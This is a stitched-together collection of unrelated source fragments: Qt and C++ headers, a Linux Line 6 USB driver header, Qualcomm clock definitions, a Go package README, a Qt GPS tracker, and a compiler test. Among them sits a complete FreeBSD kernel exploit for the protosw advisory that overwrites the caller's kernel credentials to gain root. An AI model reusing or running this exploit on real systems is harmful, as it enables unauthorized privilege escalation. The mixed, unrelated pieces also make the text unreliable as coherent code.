. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
#include <QTextBrowser>
class MDNSQuery;
class DnsDisplay : public QTextBrowser
{
Q_OBJECT
private:
MDNSQuery *mdns;
public:
DnsDisplay(QWidget *parent = 0);
private slots:
void serverListChanged();
};
/*
* This is a quick and very dirty exploit for the FreeBSD protosw vulnerability
* defined here:
* http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc
*
* This will overwrite your credential structure in the kernel. This will
* affect more than just the exploit's process, which is why this doesn't
* spawn a shell. When the exploit has finished, your login shell should
* have euid=0.
*
* Enjoy, and happy holidays!
* - Don "north" Bailey (don.bailey@gmail.com) 12/25/2008
*/
#include <sys/param.h>
#include <sys/mman.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netgraph/ng_socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#define PAGES 1
#define PATTERN1 0x8f8f8f8f
#define PATTERN2 0x6e6e6e6e
typedef unsigned long ulong;
typedef unsigned char uchar;
int
x(void)
{
struct proc * p = (struct proc * )PATTERN1;
uint * i;
while(1)
{
if(p->p_pid == PATTERN2)
{
i = (uint * )p->p_ucred;
*++i = 0;
break;
}
p = p->p_list.le_next;
}
return 1;
}
int
main(int argc, char * argv[])
{
ulong addr;
uchar * c;
uchar * d;
uint * i;
void * v;
int pid;
int s;
if(argc != 2)
{
fprintf(stderr, "usage: ./x <allproc>\n");
return 1;
}
addr = strtoul(argv[1], 0, 0);
v = mmap(
NULL,
(PAGES*PAGE_SIZE),
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_FIXED,
-1,
0);
if(v == MAP_FAILED)
{
perror("mmap");
return 0;
}
c = v;
d = (uchar * )x;
while(1)
{
*c = *d;
if(*d == 0xc3)
{
break;
}
d++;
c++;
}
*c++ = 0xc3;
c = v;
while(1)
{
if(*(long * )c == PATTERN1)
{
*(c + 0) = addr >> 0;
*(c + 1) = addr >> 8;
*(c + 2) = addr >> 16;
*(c + 3) = addr >> 24;
break;
}
c++;
}
pid = getpid();
while(1)
{
if(*(long * )c == PATTERN2)
{
*(c + 0) = pid >> 0;
*(c + 1) = pid >> 8;
*(c + 2) = pid >> 16;
*(c + 3) = pid >> 24;
break;
}
c++;
}
s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
if(s < 0)
{
perror("socket");
return 1;
}
shutdown(s, SHUT_RDWR);
return 0;
}
WEB_SERVER := root@abercrombie.zx2c4.com
MUTABLE_FILE_GROUP := http
SERVER_PATH := /var/www/uwsgi/alephpaste
/* SPDX-License-Identifier: GPL-2.0-only */
/*
* Copyright (c) 2019, The Linux Foundation. All rights reserved.
*/
#ifndef _DT_BINDINGS_CLK_QCOM_DISP_CC_SC7180_H
#define _DT_BINDINGS_CLK_QCOM_DISP_CC_SC7180_H
#define DISP_CC_PLL0 0
#define DISP_CC_PLL0_OUT_EVEN 1
#define DISP_CC_MDSS_AHB_CLK 2
#define DISP_CC_MDSS_AHB_CLK_SRC 3
#define DISP_CC_MDSS_BYTE0_CLK 4
#define DISP_CC_MDSS_BYTE0_CLK_SRC 5
#define DISP_CC_MDSS_BYTE0_DIV_CLK_SRC 6
#define DISP_CC_MDSS_BYTE0_INTF_CLK 7
#define DISP_CC_MDSS_DP_AUX_CLK 8
#define DISP_CC_MDSS_DP_AUX_CLK_SRC 9
#define DISP_CC_MDSS_DP_CRYPTO_CLK 10
#define DISP_CC_MDSS_DP_CRYPTO_CLK_SRC 11
#define DISP_CC_MDSS_DP_LINK_CLK 12
#define DISP_CC_MDSS_DP_LINK_CLK_SRC 13
#define DISP_CC_MDSS_DP_LINK_DIV_CLK_SRC 14
#define DISP_CC_MDSS_DP_LINK_INTF_CLK 15
#define DISP_CC_MDSS_DP_PIXEL_CLK 16
#define DISP_CC_MDSS_DP_PIXEL_CLK_SRC 17
#define DISP_CC_MDSS_ESC0_CLK 18
#define DISP_CC_MDSS_ESC0_CLK_SRC 19
#define DISP_CC_MDSS_MDP_CLK 20
#define DISP_CC_MDSS_MDP_CLK_SRC 21
#define DISP_CC_MDSS_MDP_LUT_CLK 22
#define DISP_CC_MDSS_NON_GDSC_AHB_CLK 23
#define DISP_CC_MDSS_PCLK0_CLK 24
#define DISP_CC_MDSS_PCLK0_CLK_SRC 25
#define DISP_CC_MDSS_ROT_CLK 26
#define DISP_CC_MDSS_ROT_CLK_SRC 27
#define DISP_CC_MDSS_RSCC_AHB_CLK 28
#define DISP_CC_MDSS_RSCC_VSYNC_CLK 29
#define DISP_CC_MDSS_VSYNC_CLK 30
#define DISP_CC_MDSS_VSYNC_CLK_SRC 31
#define DISP_CC_XO_CLK 32
/* DISP_CC GDSCR */
#define MDSS_GDSC 0
#endif
#include <string>
class AudioFile
{
public:
AudioFile(const std::string &filename);
inline bool isValid() const { return m_isValid; };
inline std::string filename() const { return m_filename; };
inline std::string artist() const { return m_artist; };
inline std::string composer() const { return m_composer; };
inline std::string album() const { return m_album; };
inline std::string albumArtist() const { return m_albumArtist; };
inline std::string title() const { return m_title; };
inline std::string genre() const { return m_genre; };
inline std::string comment() const { return m_comment; };
inline unsigned int track() const { return m_track; };
inline unsigned int disc() const { return m_disc; };
inline unsigned int discTotal() const { return m_discTotal; };
inline unsigned int bpm() const { return m_bpm; };
inline unsigned int year() const { return m_year; };
inline unsigned int length() const { return m_length; };
inline unsigned int bitrate() const { return m_bitrate; };
inline unsigned int sampleRate() const { return m_sampleRate; };
inline unsigned int channels() const { return m_channels; };
inline bool compilation() const { return m_compilation; };
bool operator<(const AudioFile &other) const;
private:
bool m_isValid;
std::string m_filename;
std::string m_artist;
std::string m_composer;
std::string m_album;
std::string m_albumArtist;
std::string m_title;
std::string m_genre;
std::string m_comment;
unsigned int m_track;
unsigned int m_disc;
unsigned int m_discTotal;
unsigned int m_bpm;
unsigned int m_year;
unsigned int m_length;
unsigned int m_bitrate;
unsigned int m_sampleRate;
unsigned int m_channels;
bool m_compilation;
};
/* SPDX-License-Identifier: GPL-2.0-only */
/*
* Line 6 Linux USB driver
*
* Copyright (C) 2004-2010 Markus Grabner (grabner@icg.tugraz.at)
*/
#ifndef DRIVER_H
#define DRIVER_H
#include <linux/usb.h>
#include <linux/mutex.h>
#include <linux/kfifo.h>
#include <sound/core.h>
#include "midi.h"
/* USB 1.1 speed configuration */
#define USB_LOW_INTERVALS_PER_SECOND 1000
#define USB_LOW_ISO_BUFFERS 2
/* USB 2.0+ speed configuration */
#define USB_HIGH_INTERVALS_PER_SECOND 8000
#define USB_HIGH_ISO_BUFFERS 16
/* Fallback USB interval and max packet size values */
#define LINE6_FALLBACK_INTERVAL 10
#define LINE6_FALLBACK_MAXPACKETSIZE 16
#define LINE6_TIMEOUT 1000
#define LINE6_BUFSIZE_LISTEN 64
#define LINE6_MIDI_MESSAGE_MAXLEN 256
#define LINE6_RAW_MESSAGES_MAXCOUNT_ORDER 7
/* 4k packets are common, BUFSIZE * MAXCOUNT should be bigger... */
#define LINE6_RAW_MESSAGES_MAXCOUNT (1 << LINE6_RAW_MESSAGES_MAXCOUNT_ORDER)
#if LINE6_BUFSIZE_LISTEN > 65535
#error "Use dynamic fifo instead"
#endif
/*
Line 6 MIDI control commands
*/
#define LINE6_PARAM_CHANGE 0xb0
#define LINE6_PROGRAM_CHANGE 0xc0
#define LINE6_SYSEX_BEGIN 0xf0
#define LINE6_SYSEX_END 0xf7
#define LINE6_RESET 0xff
/*
MIDI channel for messages initiated by the host
(and eventually echoed back by the device)
*/
#define LINE6_CHANNEL_HOST 0x00
/*
MIDI channel for messages initiated by the device
*/
#define LINE6_CHANNEL_DEVICE 0x02
#define LINE6_CHANNEL_UNKNOWN 5 /* don't know yet what this is good for */
#define LINE6_CHANNEL_MASK 0x0f
extern const unsigned char line6_midi_id[3];
#define SYSEX_DATA_OFS (sizeof(line6_midi_id) + 3)
#define SYSEX_EXTRA_SIZE (sizeof(line6_midi_id) + 4)
/*
Common properties of Line 6 devices.
*/
struct line6_properties {
/* Card id string (maximum 16 characters).
* This can be used to address the device in ALSA programs as
* "default:CARD=<id>"
*/
const char *id;
/* Card short name (maximum 32 characters) */
const char *name;
/* Bit vector defining this device's capabilities in line6usb driver */
int capabilities;
int altsetting;
unsigned int ctrl_if;
unsigned int ep_ctrl_r;
unsigned int ep_ctrl_w;
unsigned int ep_audio_r;
unsigned int ep_audio_w;
};
/* Capability bits */
enum {
/* device supports settings parameter via USB */
LINE6_CAP_CONTROL = 1 << 0,
/* device supports PCM input/output via USB */
LINE6_CAP_PCM = 1 << 1,
/* device supports hardware monitoring */
LINE6_CAP_HWMON = 1 << 2,
/* device requires output data when input is read */
LINE6_CAP_IN_NEEDS_OUT = 1 << 3,
/* device uses raw MIDI via USB (data endpoints) */
LINE6_CAP_CONTROL_MIDI = 1 << 4,
/* device provides low-level information */
LINE6_CAP_CONTROL_INFO = 1 << 5,
/* device provides hardware monitoring volume control */
LINE6_CAP_HWMON_CTL = 1 << 6,
};
/*
Common data shared by all Line 6 devices.
Corresponds to a pair of USB endpoints.
*/
struct usb_line6 {
/* USB device */
struct usb_device *usbdev;
/* Properties */
const struct line6_properties *properties;
/* Interval for data USB packets */
int interval;
/* ...for isochronous transfers framing */
int intervals_per_second;
/* Number of isochronous URBs used for frame transfers */
int iso_buffers;
/* Maximum size of data USB packet */
int max_packet_size;
/* Device representing the USB interface */
struct device *ifcdev;
/* Line 6 sound card data structure.
* Each device has at least MIDI or PCM.
*/
struct snd_card *card;
/* Line 6 PCM device data structure */
struct snd_line6_pcm *line6pcm;
/* Line 6 MIDI device data structure */
struct snd_line6_midi *line6midi;
/* URB for listening to POD data endpoint */
struct urb *urb_listen;
/* Buffer for incoming data from POD data endpoint */
unsigned char *buffer_listen;
/* Buffer for message to be processed, generated from MIDI layer */
unsigned char *buffer_message;
/* Length of message to be processed, generated from MIDI layer */
int message_length;
/* Circular buffer for non-MIDI control messages */
struct {
struct mutex read_lock;
wait_queue_head_t wait_queue;
unsigned int active:1;
unsigned int nonblock:1;
STRUCT_KFIFO_REC_2(LINE6_BUFSIZE_LISTEN * LINE6_RAW_MESSAGES_MAXCOUNT)
fifo;
} messages;
/* Work for delayed PCM startup */
struct delayed_work startup_work;
/* If MIDI is supported, buffer_message contains the pre-processed data;
* otherwise the data is only in urb_listen (buffer_incoming).
*/
void (*process_message)(struct usb_line6 *);
void (*disconnect)(struct usb_line6 *line6);
void (*startup)(struct usb_line6 *line6);
};
extern char *line6_alloc_sysex_buffer(struct usb_line6 *line6, int code1,
int code2, int size);
extern int line6_read_data(struct usb_line6 *line6, unsigned address,
void *data, unsigned datalen);
extern int line6_read_serial_number(struct usb_line6 *line6,
u32 *serial_number);
extern int line6_send_raw_message(struct usb_line6 *line6,
const char *buffer, int size);
extern int line6_send_raw_message_async(struct usb_line6 *line6,
const char *buffer, int size);
extern int line6_send_sysex_message(struct usb_line6 *line6,
const char *buffer, int size);
extern int line6_version_request_async(struct usb_line6 *line6);
extern int line6_write_data(struct usb_line6 *line6, unsigned address,
void *data, unsigned datalen);
int line6_probe(struct usb_interface *interface,
const struct usb_device_id *id,
const char *driver_name,
const struct line6_properties *properties,
int (*private_init)(struct usb_line6 *, const struct usb_device_id *id),
size_t data_size);
void line6_disconnect(struct usb_interface *interface);
#ifdef CONFIG_PM
int line6_suspend(struct usb_interface *interface, pm_message_t message);
int line6_resume(struct usb_interface *interface);
#endif
#endif
## `net/netip` for Go < 1.18
This is an unmodified extraction of the `net/netip` package from Go 1.18's
standard library, for use in Go 1.17. When Go 1.18 is released, this repository
will be deleted.
#include "Tracker.h"
#include <QGeoPositionInfoSource>
#include <QVariantMap>
#include <QNetworkRequest>
#include <QNetworkConfigurationManager>
#include <QTimer>
#include <QSslError>
#include <QSslCertificate>
#include <QList>
#include <QDebug>
using namespace QtMobility;
Tracker::Tracker(const QString &server, const QString &serverPath, const QString &username, const QString &password, const QString &certPath, unsigned int serverPort, QObject *parent) :
QObject(parent),
m_session(QNetworkConfigurationManager().defaultConfiguration()),
m_isUploading(false)
{
m_url.setPath(QString("%1/update.py").arg(serverPath));
m_url.setScheme(QLatin1String("https"));
m_url.setHost(server);
m_url.setPort(serverPort);
m_url.setUserName(username);
m_url.setPassword(password);
if (!certPath.isEmpty()) {
foreach (const QSslCertificate &cert, QSslCertificate::fromPath(certPath, QSsl::Der)) {
qDebug() << cert << cert.issuerInfo(QSslCertificate::CommonName);
m_expectedSslErrors.append(QSslError(QSslError::SelfSignedCertificate, cert));
}
}
connect(&m_session, SIGNAL(opened()), this, SLOT(nextUpload()));
QGeoPositionInfoSource *gps = QGeoPositionInfoSource::createDefaultSource(this);
if (!gps)
return;
connect(gps, SIGNAL(positionUpdated(QGeoPositionInfo)), this, SLOT(positionUpdated(QGeoPositionInfo)));
gps->setUpdateInterval(1000 * 60 * 15);
gps->startUpdates();
}
void Tracker::positionUpdated(const QGeoPositionInfo &update)
{
if (!update.isValid() || !update.coordinate().isValid())
return;
QVariantMap map;
map.insert(QLatin1String("timestamp"), update.timestamp().toMSecsSinceEpoch());
if (update.coordinate().type() == QGeoCoordinate::Coordinate3D)
map.insert(QLatin1String("altitude"), update.coordinate().altitude());
map.insert(QLatin1String("latitude"), update.coordinate().latitude());
map.insert(QLatin1String("longitude"), update.coordinate().longitude());
if (update.hasAttribute(QGeoPositionInfo::Direction))
map.insert(QLatin1String("direction"), update.attribute(QGeoPositionInfo::Direction));
if (update.hasAttribute(QGeoPositionInfo::GroundSpeed))
map.insert(QLatin1String("groundSpeed"), update.attribute(QGeoPositionInfo::GroundSpeed));
if (update.hasAttribute(QGeoPositionInfo::VerticalSpeed))
map.insert(QLatin1String("verticalSpeed"), update.attribute(QGeoPositionInfo::VerticalSpeed));
if (update.hasAttribute(QGeoPositionInfo::MagneticVariation))
map.insert(QLatin1String("magneticVariation"), update.attribute(QGeoPositionInfo::MagneticVariation));
if (update.hasAttribute(QGeoPositionInfo::HorizontalAccuracy))
map.insert(QLatin1String("horizontalAccuracy"), update.attribute(QGeoPositionInfo::HorizontalAccuracy));
if (update.hasAttribute(QGeoPositionInfo::VerticalAccuracy))
map.insert(QLatin1String("verticalAccuracy"), update.attribute(QGeoPositionInfo::VerticalAccuracy));
m_positions.enqueue(m_json.serialize(map));
upload();
}
void Tracker::upload()
{
if (m_isUploading)
return;
m_isUploading = true;
m_session.open();
}
void Tracker::nextUpload()
{
if (m_positions.empty()) {
m_session.close();
m_isUploading = false;
return;
}
if (qobject_cast<QNetworkReply*>(sender())) {
m_positions.dequeue();
sender()->deleteLater();
}
QNetworkRequest request(m_url);
request.setHeader(QNetworkRequest::ContentTypeHeader, QLatin1String("application/json"));
QNetworkReply *reply = m_network.post(request, m_positions.head());
reply->ignoreSslErrors(m_expectedSslErrors);
connect(reply, SIGNAL(finished()), this, SLOT(nextUpload()));
connect(reply, SIGNAL(error(QNetworkReply::NetworkError)), this, SLOT(uploadError(QNetworkReply::NetworkError)));
}
void Tracker::uploadError(QNetworkReply::NetworkError)
{
QNetworkReply *reply = qobject_cast<QNetworkReply*>(sender());
if (!reply)
return;
qDebug() << reply->errorString();
reply->deleteLater();
QTimer::singleShot(1000 * 60 * 5, this, SLOT(nextUpload()));
}
// Build don't link:
// Special g++ Option:
// Origin: holmen@mail.nu
struct C {
int f() {return 0;}
};
struct D {
C a[1];
C* g();
};
C* D::g() {
int i = 0;
while (i < 1 && a[i].f() != 1) {}
return undefined_variable; // ERROR -
}
© Copyright 1996 - 2021 Jason A. Donenfeld. All Rights Reserved.